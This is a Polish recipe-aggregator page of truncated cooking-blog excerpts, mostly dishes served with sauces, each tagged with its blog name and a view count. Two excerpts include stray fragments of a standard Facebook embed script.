Pyszne i chrupiące mieszane placuszki z cukinii i ziemniaków. Podałam je z sosem czosnkowym  z dużą ilością koperku. Smakowały rewelacyjnie. składniki: 750 g młodej cukinii 750 g obranych ziemniaków 1 jajko 3 łyżki mąki olej do smażenia Cukinię umyć i razem ze skórką zetrzeć na tarce o grubych oczkach. Delikatnie posolić i odstawić na sicie

Monia miesza i gotuje
Sałatka Makaronowa! 178

Witajcie!  Dziś mam dla Was sałatkę makaronową według przepisu Marzeny . Składniki: Makaron Pomidorki koktajlowe Suszone pomidory Ser feta Świeża bazylia Zmieniłam trochę sos i dodałam tylko: 2 łyżki oleju z zalewy z suszonych pomidorów Siemię Lniane Słonecznik Sałatkę robi się bardzo szybko. Jest bardzo smaczna.  Pozdrawiam Serdecznie

Chocolate Stop Tempting
Pomidory, pomidory! 201

likopen . Wskazane są dla osób, które mają problemy z sercem,  Nie zawierają dużo kalorii. Jeśli nie lubisz zajadać się świeżymi pomidorami, zawsze możesz stworzyć ich inna formę: Domowy sos pomidorowy, Pasta pomidorowa, Zupa pomidorowa, Kanapka z pomidorem, Koktajl warzywny/sok, Pieczone pomidory, Suszone pomidory też mogą być dobrym rozwiązaniem :)  Pozdrawiam

Chocolate Stop Tempting
Budyniowa Kasza Manna z Truskawkami 240

Coraz to bardziej czuć nadchodzącą jesień...  Dlatego postanowiłam,że dzień rozpocznę z ciepłym posiłkiem!  Budyniowa Kasza Manna z dodatkiem Cynamonu. Udekorowana truskawkami i sosem czekoladowym z samych owoców+kakao!  Miłej Soboty Wam życzę

Chocolate Stop Tempting
Nie(nudna) kanapka! 185

Dobry wieczór!  Postanowiłam wziąć udział w akcji kanapkowej na durszlaku do której Was też zapraszam! Była smaczna, chociaż następnym razem dodam do niej domowy sos czosnkowy! Składniki: Grillowana pierś kurczaka Ogórki konserwowe Pomidor Mozzarella Sałata Sól, pieprz, sezam Miłego wieczoru

Chocolate Stop Tempting
Pancakes! 159

łyżeczka sody 1 łyżka cukru 1/2 łyżeczki cynamonu olej Wszystkie składniki razem wymieszać, piec z dwóch stron na rozgrzanej olejem patelni. Można podać z ulubionym składnikiem. Ja polałam sosem czekoladowym( z ekstraktu owoców!) i owocami.    Inspirowałam się przepisem  znalezionym  na OlgaSmile ! Sesja pierwsza kursu dietetyki - zaliczona! Czekam na wyniki drugiej sesji!  Jeszcze 3 do zrobienia

Chocolate Stop Tempting
Na śniadanie...naleśniki:) 222

naleśniki,dziś jednak już nie te 'amerykańskie' pancakes! :)  Przepis na ciasto naleśnikowe znajdziecie tutaj . Składniki na nadzienie: Ser Ricotta Cukier Puder Jogurt Naturalny Do dekoracji wybrałam owoce oraz sos czekoladowy(Tak,tak...ten z ekstraktu z owoców. Chyba będę musiała o nim coś niedługo napisać!:)) Kurs Dietetyki zaliczony, więc jest dobrze! :) Cieszę się bardzo!  W Poniedziałek powrót

Chocolate Stop Tempting
Zapiekane Gnocchi z serem! 189

ściągnęłam  z palnika.  Mieszając ,  czekałam , aby ser  się   rozpuścił  i  dodałam wszystkie przyprawy z przepisu. Następnie połączyłam sos z ugotowanym gnocchi i wszystko razem wymieszałam, następnie przełożyłam do naczynia żaroodpornego i posypałam wymieszan ą  bułką  tart ą  wraz z reszta

Chocolate Stop Tempting
Udka barbecue 402

wchodziły w rachubę, więc pomyślałam że zrobię je na grillu elektrycznym. W trackie, gdy smażyły się na grillu postanowiłam zrobić coś w stylu amerykańskim i powstał szybki, prosty sos barbecue, którym posmarowałam udka, a następnie dopiekłam je w piekarniku. Mój błąd że udek nie zabezpieczyłam folią albo nie przykryłam dzięki czemu się za mocno spiekły, chociaż spalone nie były

Bernika - moj kulinarny pamietnik
Sernik nowojorski 268

czym zmniejszamy temperaturę na 160 stopni. Przykrywamy wierzch folią aluminiową . (Nie zapominajmy, że temperatura pieczenia może się wydłużyć ) Górę sernika można  pokryć polewą, lukrem lub sosem

Wypieki Uli
Makaron z chorizo i 3 rodzajami sera 443

czosnek i natkę pietruszki. Dodajemy pieprz i paprykę pimento. Na patelnię bezpośrednio z garnka przekładamy ugotowany al dente makaron (zostawiamy 3 łyżki wody z gotowania na wypadek konieczności rozcieńczenia sosu). Dodajemy wszystkie 3 sery i mieszamy. Przekładamy makaron na talerze. Posypujemy natką pietruszki, pieprzem i parmezanem

OstryKęs
Sałatka z tuńczykiem 3944

obiadowa z brązowym ryżem i tuńczykiem porcja w sam raz na imprezę lub dla 4-5 osób na obiad na wynos Potrzebujemy: 2 puszki tuńczyka w dużych kawałkach w sosie własnym (może być też w bulionie lub w wodzie, ale raczej nie w oleju) 1 puszkę kukurydzy (jeśli macie więcej czasu polecam ziarenka z jednej, ugotowanej kolby) 1 puszkę czerwonej

Ratunku obiad
Kluski z kaszy 277

Podajemy na słodko np. posypane cukrem lub z dżemem owocowym. Do wersji wytrawnej polecam warzywny sos lub gulasz węgierski . Składniki: niepełna szklanka kaszy manny (3/4) 3 jajka 5 łyżek oleju (lub masła) sól ewentualnie cukier Sposób wykonania

w kuchni i w ogrodzie
Torcik warzywny z pesto 268

minut. Gdy torciki się pieką przygotowujemy pesto. Bazylię , czosnek, sok z cytryny, oliwę, parmezan i podprażone na suchej patelni orzeszki lub pestki wkładamy do malaksera. Blendujemy na gładki sos. Przyprawiamy solą i pieprzem do smaku. Upieczone torciki polewamy obficie pesto. Upieczony wcześniej parmezan odsączamy na papierowym ręczniku i łamiemy na mniejsze kawałki – chipsy. Każdy torcik ozdabiamy takim chipsem. Podajemy

Poezja smaku
Lasange ziemniaczana z pieprzem bałkańskim 190

spodzie pierwszą warstwę ziemniaków, posypać pieprzem i majerankiem. Następnie ułożyć połowę boczku, cebulę i lekko ją posypać solą i  słodką papryką, przykryć warstwą pomidorów i zalać resztą sosu pomidorowego z puszki. Wysypać połowę startego sera, drugą część boczku i posypać raz jeszcze pieprzem, papryką i majerankiem. Można dodać natkę pietruszki. Na samą górę równo nałożyć starty ser. Zapiekać

Apetyczna babeczka
Pasztet z zielonej soczewicy z harrisą 197

przyprawy, ścieramy gałkę muszkatołową. Doprawiamy do smaku. Pasztet przekładamy do przygotowanej formy keksowej lub do muffinek. Pieczemy godzinę w piekarniku rozgrzanym do 190 C. Gotowy pasztet jest pyszny z sosami lub z czerwonym barszczem

Apetyczna babeczka
Amerykańskie placuszki śniadaniowe ze złotym syropem 262

pulchne placuszki śniadaniowe często podaje się z sosem owocowy lub syropem klonowym. Ja w domu podaje je z wyśmienitym Złotym Syropem , który jest świetnym dodatkiem do deserów, naleśników, lodów, niezastąpiony przy pieczeniu ciast i pierniczków :), jeśli chcecie się w niego zaopatrzyć polecam mojego sprawdzonego dostawcę  KLIK .      Składniki na ciasto, na ok.15 placuszków: 2 szklanki mąki

Apetyczna babeczka
Pikantna ognista oliwa domowa z chili 142

Dostałam piękne wysuszone papryczki chili od Owocowego Raju i nie była bym sobą, gdybym czegoś z nimi nie przygotowała:). Robiąc sos do mięsa wpadłam na pomysł, aby zamiast dodawać suszoną papryczkę chili przygotować z niej pikantną oliwę, którą będę mogła wykorzystać do smażenia czy sałatek. Banalnie prosty sposób na domową ognistą oliwę z chili! Składniki: 1 dag  suszonej papryczki

Apetyczna babeczka
Pieczeń rzymska z boczku 243

połączyć z resztą składników. Dobrze wymieszać, najlepiej dłonią. 2. Blaszkę keksówkę wyłożyć papierem do pieczenia, przełożyć masę mięsną. Piec w tem. 180 C przez 90 minut. Po upieczeniu odlać ,,sos,, , który zbierze się w foremce, wyciągnąć pieczeń i pozostawić do wystudzenia. Jeśli kroimy ciepłą pieczeń to może się kruszyć. Dla ozdoby możemy w środek masy przed pieczeniem włożyć

Apetyczna babeczka
Rybne mielone filety z dorsza z majerankiem 210

mleka, jajka, majeranek oraz sól i pieprz. Wszystkie składniki blendujemy na gładką masę. Formujemy z nich kotlety i obtaczamy w bułce tartej. 3. Smażymy.  Podajemy ze śmietaną, sosem czosnkowym, jogurtem naturalnym, lub ulubionym dipem

Apetyczna babeczka
Pampuchy z truskawkami 189

luźno pływały po 4-5 sztuk. Gotujemy przez ok. 10-12 minut, podczas gotowania będą jeszcze rosły. Wyławiamy łyżką cedzakową na półmisek i podajemy z owocami i dużą ilością sosu

Apetyczna babeczka
Makaron gryczany z brokułami, chili i łososiem 177

czosnek, papryczkę chili i orzeszki piniowe. Po kilku minutach podlać jogurtem naturalnym, dodać wszystkie przyprawy, dusić razem kilka minut, dodać kawałki wędzonego łososia.  3. Do przygotowanych brokułów w sosie jogurtowym dodać ugotowany makaron, dobrze wymieszać, ew. doprawić, posypać świeżo zmielonym pieprzem i podawać gorące. Wierzch można posypać startym żółtym serem

Apetyczna babeczka
Szynka marynowana w winie porzeczkowym 193

oprószamy pieprzem. Wstawiamy do piekarnika nagrzanego do 200 C na ok. 2 godziny. Po godzinie pieczenia ściągamy górna pokrywę i pozwalamy aby mięso się zrumieniło. Należy je równomiernie polewać sosem, który się wytworzył i obracać, aby równo się piekła. 3. Gotową szynkę wykładamy na półmisek do ostudzenia

Apetyczna babeczka
Bigos po cygańsku 256

Dodajemy paprykę i cebulę, smażymy 5 minut, często mieszając. Po tym czasie całość wykładamy na pulpeciki. 4. W szklance łączymy koncentrat pomidorowy, wodę i ketchup, doprawiamy solą i pieprzem. Sos wykładamy na warzywa (dokładnie rozprowadzamy po całości). Wkładamy do piekarnika nagrzanego do 180 stopni i pieczemy 30 minut pod przykryciem. Jeżeli nie posiadacie naczynia z pokrywką, przykryjcie danie folią aluminiową

My Culinary Art
Jajka w koszulce na spaghetti z ogórka! 192

garnku zagotuj wodę, na wrzątek wybij jajka, gotujemy około 45-50 sekund. Żółtko powinno pozostać płynne, a białko całkowicie ścięte. Wyjmujemy łyżką cedzakową, na spaghetti ogórkowe. Podajemy z sosem i świeżą figą. Można skropić olejem sezamowym lub oliwą z oliwek! Smacznego! Zapraszam na Facebooka SmykWKuchni

SMYKWKUCHNI
Szaszłyki wegańskie, wersja II (dieta Dr. Dąbrowskiej) 219

rękawa do pieczenia i zapiekamy w piekarniku w temp. 200 st. C ok. pół godzinki. Można pod koniec pieczenia rozciąć rękaw, żeby warzywa nabrały większej chrupkości. Podawać z sosem pomidorowym . Smacznego

chwile dla mnie
Pizzerinki z kabaczka 369

salami i posypujemy przetartym na drobnej tarce serem. Gotowe pizzerinki układamy na wysmarowanej olejem blasze. Pieczemy w piekarniku rozgrzanym do 180 st. C ok. 20 minut. podane z ketchupem, sosem cygańskim i paprykowym Smacznego

chwile dla mnie
Roladki truskawkowe 215

Obtoczyć dobrze roladki w samej mące.  Na patelni rozgrzać tłuszcz, włożyć roladki,smażyć na wolnym ogniu na złoty kolor.  Kilka truskawek zmiksować, podawać z sosem truskawkowym

Kuchnia Danusi
Naleśniki po meksykańsku 332

rozgrzanym tłuszczu smażymy grubsze naleśniki.  FARSZ  Mięso mielone smażymy na wolnym ogniu przez 20 minut. Pod koniec smażenia dodajemy koncentrat pomidorowy, pieprz, sól, przyprawę curry, papryczkę chili, sos tao tao. Jak dodamy przyprawy, mieszając dusimy jeszcze trochę na wolnym ogniu. Gdy farsz jest bardzo gęsty, dolewamy odrobinę wrzącej wody, mieszamy do uzyskania jednolitej konsystencji. Na gorące pół

Kuchnia Danusi
Domowa karkówka pieczona 205

tabasco do smaku 12 ziaren jałowiec 2 łyżki olej 1 łyżka zioła prowansalskie suszone PRZYGOTOWANIE: Rozetrzeć w młynku sól, pieprz, kolendrę, jałowiec, wymieszać z czosnkiem. Posmarować mięso olejem, skropić sosem tabasco i posypać zmieloną mieszanką od wewnętrznej strony. Zwinąć mięso w ciasny rulon, włożyć w siatkę do szynki, posmarować całość olejem i obtoczyć w ziołach. Włożyć do rękawa do pieczenia

Kuchnia Danusi
Spaghetti bolognese 191

pieprz, smażyć kilka minut na wolnym ogniu. Do podsmażonego mięsa dodać pomidory z puszki, chwilę razem poddusić, mieszając. Doprawić do smaku solą i pieprzem. Makaron wykładać na talerze, polać sosem, posypać serem. Smacznego ! (function(d, s, id) { var js, fjs = d.getElementsByTagName(s)[0]; if (d.getElementById(id)) return; js = d.createElement(s); js.id = id; js.src = "//connect.facebook.net/pl_PL/all.js#xfbml=1"; fjs.parentNode.insertBefore(js, fjs);}(document

Kuchnia Danusi
Sałatka Caprese 260

pomidory pokroić w plastry. Na talerzu układać na przemian, pomidory i ser. Do kubka wlać oliwę z oliwek, dodać ocet winny, suszoną bazylię, sól i pieprz, wymieszać. Tak przygotowanym sosem polać sałatkę. Udekorować listkami bazylii i oliwkami. (function(d, s, id) { var js, fjs = d.getElementsByTagName(s)[0]; if (d.getElementById(id)) return; js = d.createElement(s); js.id = id; js.src = "//connect.facebook.net/pl_PL/all.js#xfbml

Kuchnia Danusi
Schab ze śliwką i morelą w galarecie 241

włożyć śliwki. Na koniec otwór spiąć wykałaczkami. Schab ułożyć na wysmarowanej masłem blasze, posypać wiórkami mrożonego masła. Wstawić do piekarnika na 1 godz. w 180 stop, polewając wytwarzającym się sosem. Mięso ostudzić i pokroić w plastry. Żelatynę namoczyć w 3 łyżkach zimnej wody, kiedy napęcznieje, dodać do wywaru zagotować mieszając. Następnie wywar ostudzić. Plastry schabu na przemian z cytryną ,ułożyć

Kuchnia Danusi
Sałatka ziemniaczana 12827

plastry i gotujemy na niewielkim ogniu, aż będą miękkie. Odcedzamy i studzimy. Ogórka i cebulę kroimy w kostkę. Wszystkie składniki mieszamy.  Z majonezu, jogurtu, octu i przypraw robimy sos. Zalewamy składniki sałatki i mieszamy delikatnie. Chłodzimy około 1 godzinę przed podaniem. SMACZNEGO

Czerwona Porzeczka
Placki gryczane z pieczoną dynią, szpinakiem i suszonymi pomidorami 353

Dodajemy dwa jaja, otręby owsiane, doprawiamy przyprawami, dodajemy pokruszony twaróg i wszystko mieszamy.  5. Smażymy na łyżce oleju rzepakowego, aż placuszki będą rumiane z obu stron. Podajemy z sosami, jogurtem, bądź w moim przypadku z chutney'em dyniowo-rokinikowym

Sajkofanka smaku
Gotujemy z Formułą, czyli Sukha Bateta Nu Shaak – curry ziemniaczane z orzechami nerkowca 225

Ponieważ jest ładna. I ponieważ każdy posiłek zamienia się w ucztę. Zamiast jednego talerza wypełnionego obiadem, na stole cała armia talerzyków, miseczek, czarek, paterek. Na każdej inne danie, aromat sosów i dipów miesza się z parą znad pierożków

Gotuj z Blue Raven
Deser z sojowym kremem waniliowym 237

wykonaniu jest banalnie prosty. Postanowiłam wykorzystać w nim -sojowy krem waniliowy. Truskawki miksujemy blenderem z cukrem pudrem. Do przezroczystych szklanek wkładamy na zmianę trochę sojowego kremu waniliowego i przygotowanego sosu z truskawek. Na sam koniec deser posypujemy płatkami kokosa. Proporcje składników są podane do przygotowania jednego deseru

Aga w kuchni
Sałatka z kuleczkami mięsnymi 151

wielkości orzecha włoskiego, wrzucamy na gotujący się bulion i gotujemy ok 10-15 minut. Na talerzu układamy rukolę, połówki pomidorków koktajlowych, kulki mozzarelli oraz pokrojone suszone pomidory. Sałatkę polewamy sosem zrobionym z bazylii, oliwy z oliwek i wyciśniętego przez praskę czosnku

Aga w kuchni
Szaszłyki z pomidorkami, ananasem i cukinią 230

kolendry, 5 łyżek oliwy z oliwek. Przygotowanie:       Przygotowujemy marynatę: rozcieramy w moździerzu gałkę muszkatołową wraz z kolendrą. Dodajemy pieprz, sól oraz oliwę z oliwek. Dodajemy sos Jack Daniels barbecue. Mieszamy wszystkie składniki. Mięso kroimy w dużą kostkę i polewamy ją marynatą, dokładnie mieszając. Odstawiamy na co najmniej 2 godziny do lodówki. Cukinię oraz cebulkę kroimy

Aga w kuchni
Drobiowe szaszłyki z ananasem 194

Wczoraj była taka ładna pogoda, więc trochę grillowaliśmy :) Oprócz tradycyjnej kiełbaski i karkówki były skrzydełka w sosie słodkim chilli oraz ananasowe szaszłyczki :) Składniki: 2 podwójne piersi kurczaka, 4 duże cebule, 2 czerwone papryki, 1 puszka ananasa, 3 łyżeczki przyprawy do szaszłyków. Przygotowanie:     Piersi kurczaka myjemy i kroimy w duże kawałki, ok. 4x4cm. Następnie posypujemy je przyprawą i zalewamy

Aga w kuchni
Krem z kurek 213

grzybki i od tej pory co roku jeździmy do lasu na kurki :) W tym roku pierwszy raz zrobiłam krem z kurek (wcześniej albo je marynowałam , albo robiłam kurki w sosie śmietanowym ) i wiecie co... zupka wyszła przepyszna:D Składniki: 300 g kurek, 2 litry wody, 1 włoszczyzna, 1 nóżka kurczaka, 2 łyżki masła, 1 cebula, 2 łyżki mąki pszennej, płatki

Aga w kuchni
Mini gołąbki w liściach winogrona 165

Układamy gołąbki w garnku i zalewamy je bulionem. Gotujemy ok. 40 minut. W tym czasie podsmażamy kurki na masełku. Przyprawiamy pieprzem i solą. Na koniec zalewamy śmietaną. Gołąbki polewamy sosem śmietanowym z kurkami i posypujemy koperkiem

Aga w kuchni
Szkoła Gotowanie 202

Weltbild jest idealną książką dla osób zaczynających swoją przygodę z gotowaniem.  Książkę można kupić tutaj .     Książka jest podzielona na 10 działów: poradnik; zupy i potrawy jednogarnkowe; sosy i dipy; sałaty i sałatki; ryby i owoce morze; mięso; potrawy z jaj; warzywa; ziemniaki; ryż i potrawy z mąki; oraz słodkie potrawy i desery.  W każdej części znajdziemy

Aga w kuchni
Domowy koncentrat pomidorowy 194

środku zimy otworzyć słoik z pysznymi, pachnącymi pomidorami i zrobić jeszcze lepszą pomidorówkę, gołąbki w sosie pomidorowym czy spaghetti. Składniki: 5 kg soczystych i słodkich pomidorów, 1 łyżka suszonych pomidorów z czosnkiem i bazylią Kamis, sól morska Specialite Kamis, pieprz czarny Specialite Kamis. Przygotowanie:      Pomidory dokładnie myjemy, wycinamy zieloną część z każdego pomidora. Kroimy w kawałki

Aga w kuchni
Zapiekanka z brokułami 352

czosnkiem i słodką papryką. Smażymy na patelni. Zalewamy kremówkę i dodajemy sery- brie i fetę, mieszamy, aż do ich rozpuszczenia. Dodajemy różyczki brokuła. Do naczynia żaroodpornego przekładamy makaron. Zalewamy sosem śmietanowo- serowym. Całość posypujemy startą goudą. Zapiekamy ok. 15 minut w 180 stopniach

Aga w kuchni
Penne di pomodoro 200

Makaron gotujemy al dente. Na patelni podsmażamy pokrojony w kostkę boczek wraz z cebulką. Następnie dodajemy paprykę i oliwki pokrojone w plasterki. Całość zalewamy domowym koncentratem pomidorowym. Sos mieszamy i przyprawiamy: chilli, papryką, solą, pieprzem i bazylią. Na koniec dodajemy makaron i mieszamy

Aga w kuchni
Desery 407

sojowy kremem waniliowym Deser truskawkowy Deser wiśniowa pianka z truskawkowym musem Deser z mascarpone i truskawkami Deser z kaszy manny Deser z malinami Deser porzeczkowy Domowy kisiel z sosem Galaretka z truskawkami Kolorowe galaretki Kolorowe pianki Lizaki wafelkowe Lody straciatella Malinowy sorbet Mrożona kawa z galaretką Owoce z grilla Panna cotta z galaretką Panna cotta z mleka sojowego Panna cotta

Aga w kuchni
Przekąski i dodatki do potraw 216

szprotką Pająk z papryki    Pasta śledziowa Pesto z rukoli Pieczony schab z suszoną morelą Pierożki ze szpinakiem Popękane jajka Smażony oscypek z żurawiną Ślimaczki z ciasta francuskiego Sos beszamelowy Quesadilla z pieczarkami i serem Wafelki ryżowe ze szpinakiem Wafelki ryżowe z jajecznicą Wafle ryżowe z pastą z makreli

Aga w kuchni
Gulasz 200

kostkę, przyprawiamy pieprzem i solą. Cebulkę podsmażamy na patelni, dodajemy mięso i smażymy je na rozgrzanym tłuszczu. Następnie zalewamy zimną wodą (ok. 3/4 szklanki) i dodajemy kostkę wołową. Sos zaciągamy mąką wymieszaną z zimną wodą. Dodajemy koncentrat i paprykę pokrojoną w kostkę. Całość dusimy, aż do zgęstnienia. Na koniec dodajemy chilli, słodką paprykę i zioła

Aga w kuchni
Tagliatelle z pieczarkami 159

małym ogniu, aż do odparowania wody z pieczarek. Zalewamy śmietanką 36 % i podgrzewamy, aż do zgęstnienia. Na samym końcu dodajemy zioła prowansalskie, sól i biały pieprz. Mieszamy makaron z sosem

Aga w kuchni
Tagliatelle pomodoro 166

maśle podsmażamy pokrojoną cebulkę i czosnek. Następnie wlewamy pomidory, miksujemy je blenderem i przyprawiamy solą i pieprzem. W osobnym rondelku gotujemy makaron al dente. Odcedzony makaron dodajemy do sosu. Na koniec dodajemy pokrojone w kostkę pomidorki bez skórki. Gotujemy jeszcze ok. minutki i nakładamy na talerz. Pomidory mają zachować swoją chrupkość, więc nie podgrzewamy makaronu, aż do ich rozgotowania. Posypujemy

Aga w kuchni
Sałatka z pomidorami,mozzarellą i rukolą 179

układamy na talerzu. Mozzarellę kroimy w plasterki i przekrawamy ja na połówki. Polewamy je oliwą i posypujemy bazylią. Połówki pomidorków koktajlowych układamy wraz z mozzarellą na rukoli. Całość polewamy sosem oliwą z oliwek oraz kremem balsamicznym. Najlepiej smakuje sporządzona zaraz przed podaniem

Aga w kuchni
Gulasz z kaszą gryczaną 200

podsmażamy na rozgrzanym tłuszczu. Następnie dodajemy pokrojoną w kostkę cebulkę i dusimy pod przykryciem. Dodajemy pieczarki,ogórki, paprykę i grzybki suszone. Podlewamy mięso gorącą wodą, tak by powstał nam sos. Dusimy ok. 40 minut. Na koniec przyprawiamy. Podajemy z kaszą

Aga w kuchni
Buritto 191

rozgrzanej oliwie podsmażamy plasterki czosnku oraz cebulkę pokrojoną w kostkę. Dodajemy mięso i smażymy. Następnie zalewamy mięso przecierem pomidorowym i dodajemy fasolkę czerwoną z puszki. Gotujemy, aż do zgęstnienia sosu. Następnie przyprawiamy białym pieprzem, cayenne i solą. Na suchej patelni podgrzewamy placki tortilli z obu stron i układamy na nich farsz. Zawijamy tortille

Aga w kuchni
Makaron z tuńczykiem 217

Składniki: 300 g makaronu świderki Czaniecki, 1 puszka tuńczyka w sosie własnym Graal , 1 jogurt naturalny 300 ml, koperek, sól, pieprz. Przygotowanie:    Makaron gotujemy al dente w osolonej wodzie. Następnie na patelni zalewamy makaron jogurtem naturalnym. Dodajemy posiekany koperek. Podgrzewamy, aż do zgęstnienia. Na samym końcu dodajemy odcedzony tuńczyk i przyprawiamy pieprzem i solą. Mieszamy. Nakładamy do miseczek

Aga w kuchni
Makaron z łososiem i cukinią 269

minutek na parze. Na patelni podgrzewamy kremówkę, dodajemy kilka listków świeżej bazylii, sól i pieprz. Podgrzewamy do odparowania. Na talerz wykładamy makaron, warzywne paski, kawałki łososia i polewamy całość sosem śmietanowym. Dekorujemy listkami świeżej bazylii

Aga w kuchni
Sałatka makaronowa z selerem i mozarellą 400

umyć, osuszyć i pokroić w kostkę. Wszystko połączyć z makaronem. Dodać pokrojoną w półplasterki mozarellę. Doprawić solą, pieprzem i suszonym oregano. Sok z cytryny zmieszać z oliwą z oliwek, sosem polać sałatkę

Z miłości do słodkości
3 sposoby na kolorowy ryż. 274

koniec gotowania dodajemy paprykę i dobrze mieszamy. Taki ryż najlepiej smakuje z mięsem ostrym, z dużą ilością chilli lub pieprzu. Przed podaniem ryż możno polać sosem sojowym. 3 sposób: zielony ryż. Składniki na 4 osoby: 1 szklanka ryżu 2 szklanki wody sól łyżka koperku  Przygotowanie: Ryż przemywamy w zimnej wodzie, dopóki woda bedzie przezroczysta, dzięki temu ryż bedzie

Kuchnia Łukasza
Maki-Sushi 262

dłoni, dłonie należy namoczyć).  2. Na ryż układamy łososia. 3. Zawijamy. 4. Formujemy kwadrat. Po uformowaniu sushi kroimy namoczonym nożem na 6 równych części i serwujemy z sosem sojowym

Kuchnia Łukasza
Duszone nóżki królika z puree ziemniaczano kalafiorowym. 204

godzinę Kiedy królik będzie uduszony, wylewamy wodę w której się gotowali kalafior i ziemniaki, wlewamy mleko i miksujemy za pomocą blendera. Wedle uznania solimy. Serwujemy na dużym talerzu, polewamy sosem pozostałym od uduszonych nóżek królika

Kuchnia Łukasza
Ciasto cytrynowe ,, 50 Minut " 256

ciasta dodajemy cytrynę, pozostały cukier i wszystko dokładnie miksujemy.  Ciasto pieczemy przez ok. 25-30 minut w piekarniku, po czym lekko ostudzamy i dekorujemy lukrem. Serwujemy z sosem czekoladowym lub kakaowym. Smacznego

Kuchnia Łukasza
Zapiekanka ziemniaczana. 216

się przepisem na ziemniaki ,,Au Gratin". Chciałem robić ziemniaki ,,Au gratin" lecz do głowy mi przyszła myśl, aby zrobić takie same cieniutkie plasterki ziemniaka nie ze śmietanką, a z sosem beszamel. Wyszła naprawdę dobre! Składniki: 1 kg ziemniaków 3,5 szklanki mleka 3 łyżki mąki 100 g masła sól, pieprz 100 g sera parmezan Przygotowanie: Ziemniaki obieramy i zalewamy zimną

Kuchnia Łukasza
Boczek pieczony na węglach. 257

prawie 4 godziny, ale czekać jest na prawdę warto, uwierzcie mi. Składniki: 1,5 kg boczku wieprzowego Marynata: 3 łyżki domowej przyprawy do grilla łyżka soli 2 łyżki sosu sojowego 3 łyżki oliwy łyżeczka miodu Przygotowanie:  Łączymy wszystkie składniki marynaty i nacieramy ją boczek. Owijamy folią spożywczą i odstawiamy na 24-48 godzin.  Boczek zawijamy w 8 warstw

Kuchnia Łukasza
Sałatka ziemniaczana. 367

przygotowane w poprawny sposób można powiedzieć, że są królami kuchni i sałatek. Sałatka ziemniaczana, to idealna sałatka z dużą ilością ziemniaków, a w dodatku cebulka i niesamowicie smaczny sos majonezowo-śmietankowy. Bardzo polecam! Składniki: 6 średnich ziemniaków 5 jajek 0,5 cebuli 50 g dymki 6 łyżek majonezu 2 łyżki śmietany sól, pieprz Przygotowanie:  Ziemniaki gotujemy w łupinach przez

Kuchnia Łukasza
Pieczona pierś z indyka w śmietanie. 425

rozmarynie, która może służyć jako pieczeń na kanapki lub jako danie główne. Zapraszam! Składniki: Pierś z indyka (1,5 kg) 400 g śmietany (18%) 4 ząbki czosnku 4 łyżki sosu sojowego łyżeczka soli 0,5 łyżeczki pieprzu gałązka rozmaryny lub łyżeczka suszonego 1/4 łyżeczki oregano 100 g masła Przygotowanie:  Pierś myjemy i osuszamy, nakłuwamy igłą lub nożem

Kuchnia Łukasza
Boczek pieczony w marynacie brzoskwiniowej. 270

bardzo dobrze, ale boczek wieprzowy w brzoskwiniach i chilli jest na dużo lepszy! Zapraszam! Składniki: 1 kg boczku wieprzowego 2 brzoskwinie łyżeczka soli łyżeczka sproszkowanych ziaren kolendry 2 łyżki sosu sojowego 2 łyżki oliwy łyżeczka soli czosnkowej papryczka chilli mała cebulka Przygotowanie:  Chilli i cebulkę kroimy w talarki, a brzoskwinie ścieramy na tarce o grubych oczkach, po tym łączymy

Kuchnia Łukasza
Marynowane papryczki chilli na zimę. 209

superowe. Idealnie zamarynowane w łagodnej marynacie, która nieco zmniejsza pikantność papryczek. My wszyscy je bardzo lubimy np. jako dodatek do dań mięsnych lub dodatek do dressingów i sosów. Zapraszam do wypróbowania. Składniki: 1 l wody 1 łyżka soli 1 łyżka cukru 2 łyżki octu papryczki chilli ok. 20-30 szt. Przygotowanie:    W dużym garnku zagotowujemy wodę

Kuchnia Łukasza
ZAPIEKANA CUKINIA FASZEROWANA KURCZAKIEM I FETĄ 513

granicy i dopiero wydrążyć. 5. FASZEROWANIE (2 min) Wydrążoną cukinię wkładamy na lekko wysmarowaną tłuszczem blachę lub blaszkę do pieczenia, wypełniamy każdą połówkę kurczakiem z cebulą (wlewamy także sos ze smażenia), następnie kładziemy na wierzch kawałki fety i posypujemy całość oregano. Na koniec lekko polewamy całość olejem rzepakowym. 6. PIECZENIE (20 min) Blachę z cukinią wkładamy do nagrzanego piekarnika

Nerds Kitchen
TAHINI naturalne...mój pierwszy raz 269

Samo w sobie to raczej nie nadaje się do niczego, bo jak je po prostu jeść? Ono jest idealne do przygotowania potraw „ na słodko” a także „ na słono” ( kremów, sosów, past ). Ja specjalnie , po raz pierwszy, upiekłam wczoraj słodki chlebek z dodatkiem owoców tropikalnych, bo wyczuwałam, że TAHINI będzie się nadawało do tego najbardziej. I nie zawiodłam się ! Chlebek idealny

Z Kuchni Do Kuchni
Kaczka zapiekana z morelą i jabłkami 178

przepis na pierś i udka z kaczki. Jest pyszna aromatyczna, polecam. SKŁADNIKI Pierś z kaczki i dwa udka (można więcej) 2 jabłka  morele suszone Na marynatę 2 łyżki sosu sojowego pół soku z cytryny 1 łyżeczka miodu 2 ząbki czosnku pieprz WYKONANIE  Przyrządzamy  marynatę, w której trzymamy kaczę w lodówce- dobę. Na drugi dzień obsmażmy pierś

W kuchennym oknie Ewy
Roladki schabowe o zdrowym wnętrzu 213

piekarnika... Od czasu do czasu sprawdzamy najtwardszą część brokuła... Gdy ta jest miękka to znak, że całość się udusiła :-) Układamy na talerzu nasze roladki nadziane zdrowiem i polewamy sosem ( miksujemy płyn ,który się wytworzył podczas duszenia ,z odrobiną śmietany i mąki ) Smacznego!   SMACZNEGO

Z Kuchni Do Kuchni
Fusilli ze szpinakiem i kabanosem – mocno czosnkowe 208

potrzeba, gdyż ilość składników zależy od ilości osób przy konsumpcji. Przykrywamy, gotujemy. Dodajemy szpinak, gotujemy. Międzyczasie gotujemy fusilli al dente. Dokładamy szpinak. Gotujemy. Odcedzamy, wykładamy na talerz, dodajemy gęstego sosu szpinakowo-czosnkowego z kabanosami Tarczyński, posypujemy ziołami, które lubimy... Szpinak staje się delikatny i wkręca się w świderki, jednym słowem- nie rzuca się w oczy ….a oto nam chodzi

Z Kuchni Do Kuchni
Fusilli MALMA z pieczarkami , skwarkami oraz czosnkeim niedzwiedzim 214

